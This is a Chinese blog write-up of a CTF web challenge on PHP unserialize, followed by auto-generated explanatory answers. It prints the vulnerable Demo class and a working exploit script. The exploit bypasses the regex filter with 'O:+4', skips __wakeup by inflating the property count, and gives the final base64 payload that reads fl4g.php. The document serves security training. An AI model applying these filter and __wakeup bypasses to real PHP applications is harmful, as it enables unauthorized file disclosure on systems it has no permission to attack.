攻防世界 Web_php_unserialize 反序列化

本文详细解析了一道PHP反序列化题目,涉及魔术方法、类构造与销毁、序列化与unserialize函数的使用。通过分析代码,找出访问fl4g.php的路径,探讨了如何构造payload绕过_wakeup()函数的限制,同时提醒读者掌握正则表达式和面向对象编程,多做练习以提升技能。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

昨天帮忙打了场比赛,web题目里也是有反序列化的题,也是利用魔术方法的调用来构造pop链,获取flag但那道题好绕我不会写,然后还有关于json的题,就发现自己好多都没学,真的打一场比赛容易把自己人都打傻掉。
这道题也是看了好久才明白的题目。
废话不多直接上代码

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

反序列化题基本考的就是函数的绕过以及pop链的构造,说句实话只要难一点的pop链我基本都没啥头绪。感觉得学好久好久。
先代码审计吧
看一下里面的魔法函数
__construct()实例化对象时被调用
__destruct() 当删除一个对象或对象操作终止时被调用
__wakeup() 当用到unserialize()函数时该函数被调用

大家一定要把面向对象学好,理解好类,对象这些
然后pop链就是找到你最后要执行的那个类中的函数,找到各个类和函数之间的关系层层调用最后执行到你想执行的地方

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 

重心放到这个类中
看到一个the secret is in the fl4g.php 就是说答案在fl4g.php中
那么怎么访问到这个就是我们所需要思考的问题接下来看到一个函数

 function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
在页面中高亮显示$this->file也就是说这个就是我们所需要的函数再看
$this->file 怎么让他等于 fl4g.php  再看到
 public function __construct($file) { 
        $this->file = $file; 
    }

这个函数就能达到我们想要的目的也就是你实例化一个对象后就会直接调用这个函数大致就是
$t=new 类();的时候调用了这个函数。然后会传入 file值
那我们是不是就可以让
$t=new Demo(‘fl4g.php’)来传参来执行这个函数,接下来是这一段

 function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

如果$this->file的值不为index.php将它赋值为index.php那我们前面的传参不就浪费了嘛,那这个函数不能留,这个函数的调用又在_construct调用之后
所以必须得绕过它。那这个的绕过我们过一会儿再提。接下来是输入部分

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

这里我们可以看到var的值被base64解码后再进行正则匹配,正则匹配我之前看到一个博客讲的很仔细但我现在找不到了QAQ。大家好好去看看正则匹配。可以直接打开在线正则匹配的网站去试大概就是说[O,C]:[0-9]:这样的都会被正则匹配到但是在序列化的时候我们是不可避免的会被正则匹配到的所以就想办法去绕过就好了php里面的特性+[0-9]就相当于[0-9]那这样大家是不是就有头绪了呢接下来给大家看看我的payload

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$file='fl4g.php';
$t=new Demo($file);
echo serialize($t);
echo base64_encode(serialize($t));

$t=new Demo($file);这样
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}

Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjg6ImZsNGcucGhwIjt9
让var的值等于这个这样这串值就会被传入先执行_construct()函数再执行
_wakeup(),那我们就想办法绕过这个_wakeup()这里就运用到一个漏洞,
O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}看到这串中被标粗加斜体的了吗如果这个表示对象属性个数的值大于真实个数就会绕过这个_wakeup()所以再加上前面的过滤,那我们就会得到一个
O:+4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}然后再把这一串拿去base64编码就好啦,天真的我真的就拿去加密后就放进去了结果没有内容显示我直接吐出来,后来去查了大佬的博客发现了问题所在
因为Demo类中的file属性是私有属性在序列化过后,类名的前后会有%00阻断,所以我们直接在php文件中就把这一整串都替换好直接用php继续base64编码

$m=serialize($t);
$m=str_replace('1:','2:',$m);
$m=str_replace('O:4','O:+4',$m);
echo base64_encode($m);

最后得到
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
在这里插入图片描述多刷题,多看题,多总结题一定要多做多看!这很重要,pop链的构造真的要多看多去想每个类与函数之间的联系,加油每位CTF人,渗透测试人!!!

### 回答1: 攻防世界web_php_unserialize是一个关于PHP反序列化漏洞的题目,需要掌握PHP反序列化漏洞的原理和利用方法。在这个题目中,可能会给出一个序列化的字符串,需要将其反序列化并进行一些操作,最终达到获取flag的目的。这个题目需要掌握PHP的序列化和反序列化函数,以及对序列化字符串的解析能力。 ### 回答2: web_php_unserialize指的是PHP反序列化漏洞。序列化是指将对象转换为字节流的过程,反序列化则是将字节流还原为原始对象的过程。PHP序列化对于数据的传输和存储非常方便,但是如果在执行反序列化过程中存在漏洞,就会导致恶意攻击者能够注入恶意代码,并可能导致代码执行、文件读写、远程代码执行等危险后果。攻防世界中的web_php_unserialize比赛就是通过挖掘实际漏洞并利用它们对目标进行攻击的比赛。 攻防世界中的web_php_unserialize比赛通常会考查参赛者对PHP反序列化漏洞的深入理解和实际应用能力。比赛中的攻击场景可能会包括以下几个方面: 1. 对序列化字符串的解析和理解。参赛者需要清楚地知道序列化字符串中不同数据类型的表示方法,包括字符串、数组、对象等。 2. 对序列化字符串中的数据类型和值进行篡改。恶意攻击者通常会利用序列化字符串的可篡改性注入恶意代码或者修改重要数据,参赛者需要在比赛中证明自己能够精准地修改序列化字符串中的数据类型和值。 3. 对反序列化函数的使用和理解。PHP反序列化漏洞很多都是由于对反序列化函数的不当使用导致的。参赛者需要清楚地知道反序列化函数参数的含义以及如何正确使用反序列化函数。 4. 对代码的理解和审计。比赛中可能会给出一些被漏洞的代码,参赛者需要仔细地审计代码并找出漏洞的具体原因。 总的来说,攻防世界中的web_php_unserialize比赛旨在锻炼参赛者的漏洞挖掘和漏洞利用能力,并通过挖掘实际漏洞来理解和掌握漏洞的本质和原理。 ### 回答3: 攻防世界web_php_unserialize是一种基于PHP反序列化漏洞的CTF题目。这个题目主要考察选手对于PHP反序列化漏洞的理解和应用能力。 在一般的PHP应用程序中,序列化是将一个对象或一组数据转换成一个数据流的过程,反序列化则是将这个数据流转回成对象或一组数据。反序列化漏洞是指当应用程序在反序列化过程中没有对数据流进行足够的验证和过滤,导致攻击者可以在数据流中注入恶意代码,以此来执行代码并最终造成攻击。这种漏洞在很多PHP应用程序中都存在,而攻防世界web_php_unserialize就是基于这个漏洞设计的一道CTF题目。 这个题目的主要思路是通过构造一个特定的序列化数据,并将其作为参数提交给目标站点。该序列化数据包含了一个恶意代码,在反序列化时可以执行恶意代码,从而完成攻击。选手需要先了解序列化和反序列化的原理,然后使用PHP代码构造一个带有恶意代码的序列化数据,成功利用反序列化漏洞执行代码并获取到flag。 这道题目对于选手的PHP语言理解和代码能力有一定的要求,同时也需要选手在考虑漏洞时具备一定的克制能力,对于数据的过滤和验证也需要有一定的认识。通过挑战攻防世界web_php_unserialize,选手可以深入了解PHP反序列化漏洞的原理和应用,有效提高自己的防御意识和CTF能力。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值